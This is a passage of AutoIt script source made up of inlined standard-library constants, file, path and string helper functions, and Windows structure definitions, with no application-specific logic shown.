Global Const $sublang_spanish_paraguay = 15
Global Const $sublang_spanish_peru = 10
Global Const $sublang_spanish_puerto_rico = 20
Global Const $sublang_spanish_uruguay = 14
Global Const $sublang_spanish_venezuela = 8
Global Const $sublang_swedish = 1
Global Const $sublang_swedish_finland = 2
Global Const $sublang_sys_default = 2
Global Const $sublang_urdu_india = 2
Global Const $sublang_urdu_pakistan = 1
Global Const $sublang_uzbek_cyrillic = 2
Global Const $sort_default = 0
Global Const $sort_japanese_xjis = 0
Global Const $sort_japanese_unicode = 1
Global Const $sort_chinese_big5 = 0
Global Const $sort_chinese_prcp = 0
Global Const $sort_chinese_unicode = 1
Global Const $sort_chinese_prc = 2
Global Const $sort_korean_ksc = 0
Global Const $sort_korean_unicode = 1
Global Const $sort_german_phone_book = 1
Global Const $sort_hungarian_default = 0
Global Const $sort_hungarian_technical = 1
Global Const $sort_georgian_traditional = 0
Global Const $sort_georgian_modern = 1
Global Const $ss_left = 0
Global Const $ss_center = 1
Global Const $ss_right = 2
Global Const $ss_icon = 3
Global Const $ss_blackrect = 4
Global Const $ss_grayrect = 5
Global Const $ss_whiterect = 6
Global Const $ss_blackframe = 7
Global Const $ss_grayframe = 8
Global Const $ss_whiteframe = 9
Global Const $ss_simple = 11
Global Const $ss_leftnowordwrap = 12
Global Const $ss_bitmap = 14
Global Const $ss_etchedhorz = 16
Global Const $ss_etchedvert = 17
Global Const $ss_etchedframe = 18
Global Const $ss_noprefix = 128
Global Const $ss_notify = 256
Global Const $ss_centerimage = 512
Global Const $ss_rightjust = 1024
Global Const $ss_sunken = 4096
Global Const $gui_ss_default_label = 0
Global Const $gui_ss_default_graphic = 0
Global Const $gui_ss_default_icon = $ss_notify
Global Const $gui_ss_default_pic = $ss_notify
Func _filecountlines($sfilepath)
Local $hfile = FileOpen($sfilepath, $fo_read)
If $hfile = -1 Then Return SetError(1, 0, 0)
Local $sfilecontent = StringStripWS(FileRead($hfile), 2)
FileClose($hfile)
Local $atmp
If StringInStr($sfilecontent, @LF) Then
$atmp = StringSplit(StringStripCR($sfilecontent), @LF)
ElseIf StringInStr($sfilecontent, @CR) Then
$atmp = StringSplit($sfilecontent, @CR)
Else
If StringLen($sfilecontent) Then
Return 1
Else
Return SetError(2, 0, 0)
EndIf
EndIf
Return $atmp[0]
EndFunc
Func _filecreate($sfilepath)
Local $hopenfile = FileOpen($sfilepath, $fo_overwrite)
If $hopenfile = -1 Then Return SetError(1, 0, 0)
Local $hwritefile = FileWrite($hopenfile, "")
FileClose($hopenfile)
If $hwritefile = -1 Then Return SetError(2, 0, 0)
Return 1
EndFunc
Func _filelisttoarray($spath, $sfilter = "*", $iflag = 0)
Local $hsearch, $sfile, $sfilelist, $sdelim = "|"
$spath = StringRegExpReplace($spath, "[\\/]+\z", "") & "\"
If NOT FileExists($spath) Then Return SetError(1, 1, "")
If StringRegExp($sfilter, "[\\/:><\|]|(?s)\A\s*\z") Then Return SetError(2, 2, "")
If NOT ($iflag = 0 OR $iflag = 1 OR $iflag = 2) Then Return SetError(3, 3, "")
$hsearch = FileFindFirstFile($spath & $sfilter)
If @error Then Return SetError(4, 4, "")
While 1
$sfile = FileFindNextFile($hsearch)
If @error Then ExitLoop
If ($iflag + @extended = 2) Then ContinueLoop
$sfilelist &= $sdelim & $sfile
WEnd
FileClose($hsearch)
If NOT $sfilelist Then Return SetError(4, 4, "")
Return StringSplit(StringTrimLeft($sfilelist, 1), "|")
EndFunc
Func _fileprint($s_file, $i_show = @SW_HIDE)
Local $a_ret = DllCall("shell32.dll", "int", "ShellExecuteW", "hwnd", 0, "wstr", "print", "wstr", $s_file, "wstr", "", "wstr", "", "int", $i_show)
If @error Then Return SetError(@error, @extended, 0)
If $a_ret[0] <= 32 Then Return SetError(10, $a_ret[0], 0)
Return 1
EndFunc
Func _filereadtoarray($sfilepath, ByRef $aarray)
Local $hfile = FileOpen($sfilepath, $fo_read)
If $hfile = -1 Then Return SetError(1, 0, 0)
Local $afile = FileRead($hfile, FileGetSize($sfilepath))
If StringRight($afile, 1) = @LF Then $afile = StringTrimRight($afile, 1)
If StringRight($afile, 1) = @CR Then $afile = StringTrimRight($afile, 1)
FileClose($hfile)
If StringInStr($afile, @LF) Then
$aarray = StringSplit(StringStripCR($afile), @LF)
ElseIf StringInStr($afile, @CR) Then
$aarray = StringSplit($afile, @CR)
Else
If StringLen($afile) Then
Dim $aarray[2] = [1, $afile]
Else
Return SetError(2, 0, 0)
EndIf
EndIf
Return 1
EndFunc
Func _filewritefromarray($file, $a_array, $i_base = 0, $i_ubound = 0, $s_delim = "|")
If NOT IsArray($a_array) Then Return SetError(2, 0, 0)
Local $idims = UBound($a_array, 0)
If $idims > 2 Then Return SetError(4, 0, 0)
Local $last = UBound($a_array) - 1
If $i_ubound < 1 OR $i_ubound > $last Then $i_ubound = $last
If $i_base < 0 OR $i_base > $last Then $i_base = 0
Local $hfile
If IsString($file) Then
$hfile = FileOpen($file, $fo_overwrite)
Else
$hfile = $file
EndIf
If $hfile = -1 Then Return SetError(1, 0, 0)
Local $errorsav = 0
Switch $idims
Case 1
For $x = $i_base To $i_ubound
If FileWrite($hfile, $a_array[$x] & @CRLF) = 0 Then
$errorsav = 3
ExitLoop
EndIf
Next
Case 2
Local $s_temp
For $x = $i_base To $i_ubound
$s_temp = $a_array[$x][0]
For $y = 1 To $idims
$s_temp &= $s_delim & $a_array[$x][$y]
Next
If FileWrite($hfile, $s_temp & @CRLF) = 0 Then
$errorsav = 3
ExitLoop
EndIf
Next
EndSwitch
If IsString($file) Then FileClose($hfile)
If $errorsav Then Return SetError($errorsav, 0, 0)
Return 1
EndFunc
Func _filewritelog($slogpath, $slogmsg, $iflag = -1)
Local $hopenfile = $slogpath, $iopenmode = $fo_append
Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY
Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC
Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg
If $iflag <> -1 Then
$smsg &= @CRLF & FileRead($slogpath)
$iopenmode = $fo_overwrite
EndIf
If IsString($slogpath) Then
$hopenfile = FileOpen($slogpath, $iopenmode)
If $hopenfile = -1 Then
Return SetError(1, 0, 0)
EndIf
EndIf
Local $ireturn = FileWriteLine($hopenfile, $smsg)
If IsString($slogpath) Then
$ireturn = FileClose($hopenfile)
EndIf
If $ireturn <= 0 Then
Return SetError(2, $ireturn, 0)
EndIf
Return $ireturn
EndFunc
Func _filewritetoline($sfile, $iline, $stext, $foverwrite = 0)
If $iline <= 0 Then Return SetError(4, 0, 0)
If NOT IsString($stext) Then
$stext = String($stext)
If $stext = "" Then Return SetError(6, 0, 0)
EndIf
If $foverwrite <> 0 AND $foverwrite <> 1 Then Return SetError(5, 0, 0)
If NOT FileExists($sfile) Then Return SetError(2, 0, 0)
Local $sread_file = FileRead($sfile)
Local $asplit_file = StringSplit(StringStripCR($sread_file), @LF)
If UBound($asplit_file) < $iline Then Return SetError(1, 0, 0)
Local $iencoding = FileGetEncoding($sfile)
Local $hfile = FileOpen($sfile, $iencoding + $fo_overwrite)
If $hfile = -1 Then Return SetError(3, 0, 0)
$sread_file = ""
For $i = 1 To $asplit_file[0]
If $i = $iline Then
If $foverwrite = 1 Then
If $stext <> "" Then $sread_file &= $stext & @CRLF
Else
$sread_file &= $stext & @CRLF & $asplit_file[$i] & @CRLF
EndIf
ElseIf $i < $asplit_file[0] Then
$sread_file &= $asplit_file[$i] & @CRLF
ElseIf $i = $asplit_file[0] Then
$sread_file &= $asplit_file[$i]
EndIf
Next
FileWrite($hfile, $sread_file)
FileClose($hfile)
Return 1
EndFunc
Func _pathfull($srelativepath, $sbasepath = @WorkingDir)
If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath
Local $sfullpath = StringReplace($srelativepath, "/", "\")
Local Const $sfullpathconst = $sfullpath
Local $spath
Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullpath, 2, 1) <> "\"
For $i = 1 To 2
$spath = StringLeft($sfullpath, 2)
If $spath = "\\" Then
$sfullpath = StringTrimLeft($sfullpath, 2)
Local $nserverlen = StringInStr($sfullpath, "\") - 1
$spath = "\\" & StringLeft($sfullpath, $nserverlen)
$sfullpath = StringTrimLeft($sfullpath, $nserverlen)
ExitLoop
ElseIf StringRight($spath, 1) = ":" Then
$sfullpath = StringTrimLeft($sfullpath, 2)
ExitLoop
Else
$sfullpath = $sbasepath & "\" & $sfullpath
EndIf
Next
If $i = 3 Then Return ""
If StringLeft($sfullpath, 1) <> "\" Then
If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then
$sfullpath = $sbasepath & "\" & $sfullpath
Else
$sfullpath = "\" & $sfullpath
EndIf
EndIf
Local $atemp = StringSplit($sfullpath, "\")
Local $apathparts[$atemp[0]], $j = 0
For $i = 2 To $atemp[0]
If $atemp[$i] = ".." Then
If $j Then $j -= 1
ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then
$apathparts[$j] = $atemp[$i]
$j += 1
EndIf
Next
$sfullpath = $spath
If NOT $brootonly Then
For $i = 0 To $j - 1
$sfullpath &= "\" & $apathparts[$i]
Next
Else
$sfullpath &= $sfullpathconst
If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath)
EndIf
While StringInStr($sfullpath, ".\")
$sfullpath = StringReplace($sfullpath, ".\", "\")
WEnd
Return $sfullpath
EndFunc
Func _pathgetrelative($sfrom, $sto)
If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\"
If StringRight($sto, 1) <> "\" Then $sto &= "\"
If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1))
Local $asfrom = StringSplit($sfrom, "\")
Local $asto = StringSplit($sto, "\")
If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1))
Local $i = 2
Local $idiff = 1
While 1
If $asfrom[$i] <> $asto[$i] Then
$idiff = $i
ExitLoop
EndIf
$i += 1
WEnd
$i = 1
Local $srelpath = ""
For $j = 1 To $asto[0]
If $i >= $idiff Then
$srelpath &= "\" & $asto[$i]
EndIf
$i += 1
Next
$srelpath = StringTrimLeft($srelpath, 1)
$i = 1
For $j = 1 To $asfrom[0]
If $i > $idiff Then
$srelpath = "..\" & $srelpath
EndIf
$i += 1
Next
If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1)
Return $srelpath
EndFunc
Func _pathmake($szdrive, $szdir, $szfname, $szext)
If StringLen($szdrive) Then
If NOT (StringLeft($szdrive, 2) = "\\") Then $szdrive = StringLeft($szdrive, 1) & ":"
EndIf
If StringLen($szdir) Then
If NOT (StringRight($szdir, 1) = "\") AND NOT (StringRight($szdir, 1) = "/") Then $szdir = $szdir & "\"
EndIf
If StringLen($szext) Then
If NOT (StringLeft($szext, 1) = ".") Then $szext = "." & $szext
EndIf
Return $szdrive & $szdir & $szfname & $szext
EndFunc
Func _pathsplit($szpath, ByRef $szdrive, ByRef $szdir, ByRef $szfname, ByRef $szext)
Local $drive = ""
Local $dir = ""
Local $fname = ""
Local $ext = ""
Local $pos
Local $array[5]
$array[0] = $szpath
If StringMid($szpath, 2, 1) = ":" Then
$drive = StringLeft($szpath, 2)
$szpath = StringTrimLeft($szpath, 2)
ElseIf StringLeft($szpath, 2) = "\\" Then
$szpath = StringTrimLeft($szpath, 2)
$pos = StringInStr($szpath, "\")
If $pos = 0 Then $pos = StringInStr($szpath, "/")
If $pos = 0 Then
$drive = "\\" & $szpath
$szpath = ""
Else
$drive = "\\" & StringLeft($szpath, $pos - 1)
$szpath = StringTrimLeft($szpath, $pos - 1)
EndIf
EndIf
Local $nposforward = StringInStr($szpath, "/", 0, -1)
Local $nposbackward = StringInStr($szpath, "\", 0, -1)
If $nposforward >= $nposbackward Then
$pos = $nposforward
Else
$pos = $nposbackward
EndIf
$dir = StringLeft($szpath, $pos)
$fname = StringRight($szpath, StringLen($szpath) - $pos)
If StringLen($dir) = 0 Then $fname = $szpath
$pos = StringInStr($fname, ".", 0, -1)
If $pos Then
$ext = StringRight($fname, StringLen($fname) - ($pos - 1))
$fname = StringLeft($fname, $pos - 1)
EndIf
$szdrive = $drive
$szdir = $dir
$szfname = $fname
$szext = $ext
$array[1] = $drive
$array[2] = $dir
$array[3] = $fname
$array[4] = $ext
Return $array
EndFunc
Func _replacestringinfile($szfilename, $szsearchstring, $szreplacestring, $fcaseness = 0, $foccurance = 1)
Local $iretval = 0
Local $ncount, $sendswith
If StringInStr(FileGetAttrib($szfilename), "R") Then Return SetError(6, 0, -1)
Local $hfile = FileOpen($szfilename, $fo_read)
If $hfile = -1 Then Return SetError(1, 0, -1)
Local $s_totfile = FileRead($hfile, FileGetSize($szfilename))
If StringRight($s_totfile, 2) = @CRLF Then
$sendswith = @CRLF
ElseIf StringRight($s_totfile, 1) = @CR Then
$sendswith = @CR
ElseIf StringRight($s_totfile, 1) = @LF Then
$sendswith = @LF
Else
$sendswith = ""
EndIf
Local $afilelines = StringSplit(StringStripCR($s_totfile), @LF)
FileClose($hfile)
Local $iencoding = FileGetEncoding($szfilename)
Local $hwritehandle = FileOpen($szfilename, $iencoding + $fo_overwrite)
If $hwritehandle = -1 Then Return SetError(2, 0, -1)
For $ncount = 1 To $afilelines[0]
If StringInStr($afilelines[$ncount], $szsearchstring, $fcaseness) Then
$afilelines[$ncount] = StringReplace($afilelines[$ncount], $szsearchstring, $szreplacestring, 1 - $foccurance, $fcaseness)
$iretval = $iretval + 1
If $foccurance = 0 Then
$iretval = 1
ExitLoop
EndIf
EndIf
Next
For $ncount = 1 To $afilelines[0] - 1
If FileWriteLine($hwritehandle, $afilelines[$ncount]) = 0 Then
FileClose($hwritehandle)
Return SetError(3, 0, -1)
EndIf
Next
If $afilelines[$ncount] <> "" Then FileWrite($hwritehandle, $afilelines[$ncount] & $sendswith)
FileClose($hwritehandle)
Return $iretval
EndFunc
Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7)
If IsKeyword($s_fileprefix) Then $s_fileprefix = "~"
If IsKeyword($s_fileextension) Then $s_fileextension = ".tmp"
If IsKeyword($i_randomlength) Then $i_randomlength = 7
If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir
If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir
If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\"
Local $s_tempname
Do
$s_tempname = ""
While StringLen($s_tempname) < $i_randomlength
$s_tempname = $s_tempname & Chr(Random(97, 122, 1))
WEnd
$s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension
Until NOT FileExists($s_tempname)
Return $s_tempname
EndFunc
Func _hextostring($strhex)
If StringLeft($strhex, 2) = "0x" Then Return BinaryToString($strhex)
Return BinaryToString("0x" & $strhex)
EndFunc
Func _stringbetween($s_string, $s_start, $s_end, $v_case = -1)
Local $s_case = ""
If $v_case = Default OR $v_case = -1 Then $s_case = "(?i)"
Local $s_pattern_escape = "(\.|\||\*|\?|\+|\(|\)|\{|\}|\[|\]|\^|\$|\\)"
$s_start = StringRegExpReplace($s_start, $s_pattern_escape, "\\$1")
$s_end = StringRegExpReplace($s_end, $s_pattern_escape, "\\$1")
If $s_start = "" Then $s_start = "\A"
If $s_end = "" Then $s_end = "\z"
Local $a_ret = StringRegExp($s_string, "(?s)" & $s_case & $s_start & "(.*?)" & $s_end, 3)
If @error Then Return SetError(1, 0, 0)
Return $a_ret
EndFunc
Func _stringencrypt($i_encrypt, $s_encrypttext, $s_encryptpassword, $i_encryptlevel = 1)
If $i_encrypt <> 0 AND $i_encrypt <> 1 Then
SetError(1, 0, "")
ElseIf $s_encrypttext = "" OR $s_encryptpassword = "" Then
SetError(1, 0, "")
Else
If Number($i_encryptlevel) <= 0 OR Int($i_encryptlevel) <> $i_encryptlevel Then $i_encryptlevel = 1
Local $v_encryptmodified
Local $i_encryptcounth
Local $i_encryptcountg
Local $v_encryptswap
Local $av_encryptbox[256][2]
Local $i_encryptcounta
Local $i_encryptcountb
Local $i_encryptcountc
Local $i_encryptcountd
Local $i_encryptcounte
Local $v_encryptcipher
Local $v_encryptcipherby
If $i_encrypt = 1 Then
For $i_encryptcountf = 0 To $i_encryptlevel Step 1
$i_encryptcountg = ""
$i_encryptcounth = ""
$v_encryptmodified = ""
For $i_encryptcountg = 1 To StringLen($s_encrypttext)
If $i_encryptcounth = StringLen($s_encryptpassword) Then
$i_encryptcounth = 1
Else
$i_encryptcounth += 1
EndIf
$v_encryptmodified = $v_encryptmodified & Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255))
Next
$s_encrypttext = $v_encryptmodified
$i_encryptcounta = ""
$i_encryptcountb = 0
$i_encryptcountc = ""
$i_encryptcountd = ""
$i_encryptcounte = ""
$v_encryptcipherby = ""
$v_encryptcipher = ""
$v_encryptswap = ""
$av_encryptbox = ""
Local $av_encryptbox[256][2]
For $i_encryptcounta = 0 To 255
$av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1))
$av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta
Next
For $i_encryptcounta = 0 To 255
$i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256)
$v_encryptswap = $av_encryptbox[$i_encryptcounta][0]
$av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0]
$av_encryptbox[$i_encryptcountb][0] = $v_encryptswap
Next
For $i_encryptcounta = 1 To StringLen($s_encrypttext)
$i_encryptcountc = Mod(($i_encryptcountc + 1), 256)
$i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256)
$i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0]
$v_encryptcipherby = BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcounta, 1)), $i_encryptcounte)
$v_encryptcipher &= Hex($v_encryptcipherby, 2)
Next
$s_encrypttext = $v_encryptcipher
Next
Else
For $i_encryptcountf = 0 To $i_encryptlevel Step 1
$i_encryptcountb = 0
$i_encryptcountc = ""
$i_encryptcountd = ""
$i_encryptcounte = ""
$v_encryptcipherby = ""
$v_encryptcipher = ""
$v_encryptswap = ""
$av_encryptbox = ""
Local $av_encryptbox[256][2]
For $i_encryptcounta = 0 To 255
$av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1))
$av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta
Next
For $i_encryptcounta = 0 To 255
$i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256)
$v_encryptswap = $av_encryptbox[$i_encryptcounta][0]
$av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0]
$av_encryptbox[$i_encryptcountb][0] = $v_encryptswap
Next
For $i_encryptcounta = 1 To StringLen($s_encrypttext) Step 2
$i_encryptcountc = Mod(($i_encryptcountc + 1), 256)
$i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256)
$i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0]
$v_encryptcipherby = BitXOR(Dec(StringMid($s_encrypttext, $i_encryptcounta, 2)), $i_encryptcounte)
$v_encryptcipher = $v_encryptcipher & Chr($v_encryptcipherby)
Next
$s_encrypttext = $v_encryptcipher
$i_encryptcountg = ""
$i_encryptcounth = ""
$v_encryptmodified = ""
For $i_encryptcountg = 1 To StringLen($s_encrypttext)
If $i_encryptcounth = StringLen($s_encryptpassword) Then
$i_encryptcounth = 1
Else
$i_encryptcounth += 1
EndIf
$v_encryptmodified &= Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255))
Next
$s_encrypttext = $v_encryptmodified
Next
EndIf
Return $s_encrypttext
EndIf
EndFunc
Func _stringexplode($sstring, $sdelimiter, $ilimit = 0)
If $ilimit > 0 Then
$sstring = StringReplace($sstring, $sdelimiter, Chr(0), $ilimit)
$sdelimiter = Chr(0)
ElseIf $ilimit < 0 Then
Local $iindex = StringInStr($sstring, $sdelimiter, 0, $ilimit)
If $iindex Then
$sstring = StringLeft($sstring, $iindex - 1)
EndIf
EndIf
Return StringSplit($sstring, $sdelimiter, 3)
EndFunc
Func _stringinsert($s_string, $s_insertstring, $i_position)
Local $i_length, $s_start, $s_end
If $s_string = "" OR (NOT IsString($s_string)) Then
Return SetError(1, 0, $s_string)
ElseIf $s_insertstring = "" OR (NOT IsString($s_string)) Then
Return SetError(2, 0, $s_string)
Else
$i_length = StringLen($s_string)
If (Abs($i_position) > $i_length) OR (NOT IsInt($i_position)) Then
Return SetError(3, 0, $s_string)
EndIf
EndIf
If $i_position = 0 Then
Return $s_insertstring & $s_string
ElseIf $i_position > 0 Then
$s_start = StringLeft($s_string, $i_position)
$s_end = StringRight($s_string, $i_length - $i_position)
Return $s_start & $s_insertstring & $s_end
ElseIf $i_position < 0 Then
$s_start = StringLeft($s_string, Abs($i_length + $i_position))
$s_end = StringRight($s_string, Abs($i_position))
Return $s_start & $s_insertstring & $s_end
EndIf
EndFunc
Func _stringproper($s_string)
Local $ix = 0
Local $capnext = 1
Local $s_nstr = ""
Local $s_curchar
For $ix = 1 To StringLen($s_string)
$s_curchar = StringMid($s_string, $ix, 1)
Select 
Case $capnext = 1
If StringRegExp($s_curchar, "[a-zA-ZÀ-ÿšœžŸ]") Then
$s_curchar = StringUpper($s_curchar)
$capnext = 0
EndIf
Case NOT StringRegExp($s_curchar, "[a-zA-ZÀ-ÿšœžŸ]")
$capnext = 1
Case Else
$s_curchar = StringLower($s_curchar)
EndSelect
$s_nstr &= $s_curchar
Next
Return $s_nstr
EndFunc
Func _stringrepeat($sstring, $irepeatcount)
Local $sresult
Select 
Case NOT StringIsInt($irepeatcount)
SetError(1)
Return ""
Case StringLen($sstring) < 1
SetError(1)
Return ""
Case $irepeatcount <= 0
SetError(1)
Return ""
Case Else
For $icount = 1 To $irepeatcount
$sresult &= $sstring
Next
Return $sresult
EndSelect
EndFunc
Func _stringreverse($s_string)
Local $i_len = StringLen($s_string)
If $i_len < 1 Then Return SetError(1, 0, "")
Local $t_chars = DllStructCreate("char[" & $i_len + 1 & "]")
DllStructSetData($t_chars, 1, $s_string)
Local $a_rev = DllCall("msvcrt.dll", "ptr:cdecl", "_strrev", "struct*", $t_chars)
If @error OR $a_rev[0] = 0 Then Return SetError(2, 0, "")
Return DllStructGetData($t_chars, 1)
EndFunc
Func _stringtohex($strchar)
Return Hex(StringToBinary($strchar))
EndFunc
Global Const $tagpoint = "struct;long X;long Y;endstruct"
Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
Global Const $tagsize = "struct;long X;long Y;endstruct"
Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct"
Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]"
Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
Global Const $taggdipencoderparam = "byte GUID[16];ulong Count;ulong Type;ptr Values"
Global Const $taggdipencoderparams = "uint Count;byte Params[1]"
Global Const $taggdiprectf = "float X;float Y;float Width;float Height"
Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
Global Const $taggdippencoderparams = "uint Count;byte Params[1]"
Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct"
Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup"
Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo
Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol"
Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
